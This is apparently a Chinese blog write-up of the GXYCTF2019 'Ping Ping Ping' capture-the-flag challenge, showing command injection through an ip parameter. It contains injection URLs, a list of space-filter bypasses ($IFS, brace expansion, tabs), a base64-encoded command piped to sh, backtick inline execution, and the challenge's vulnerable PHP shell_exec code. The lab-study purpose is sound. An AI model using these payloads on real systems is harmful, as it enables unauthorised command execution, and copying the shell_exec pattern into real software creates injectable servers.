[GXYCTF2019]Ping Ping Ping

打开页面发现

 

猜测是命令执行,ip应该为参数

http://e3a29edc-3eb0-45e6-9b0b-05b33ceac4a8.node3.buuoj.cn/?ip=;ls

 

发现flag.php

直接cat flag.php

http://e3a29edc-3eb0-45e6-9b0b-05b33ceac4a8.node3.buuoj.cn/?ip=;cat%20flag.php

 

提示空格被过滤

百度一下命令执行绕过空格的方法

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

另外linux命令中可以加\,所以甚至可以ca\t /fl\ag

 

官方解法:

题目过滤bash那就用sh,sh的大部分脚本都可以在bash下运行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联:

内联执行的做法,就是将反引号内命令的输出作为输入执行

cat$IFS$9`ls`

使用内联的方法可以将源码回显出来

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

posted @ 2020-07-01 10:46  GTX690M  阅读(171)  评论(0编辑  收藏  举报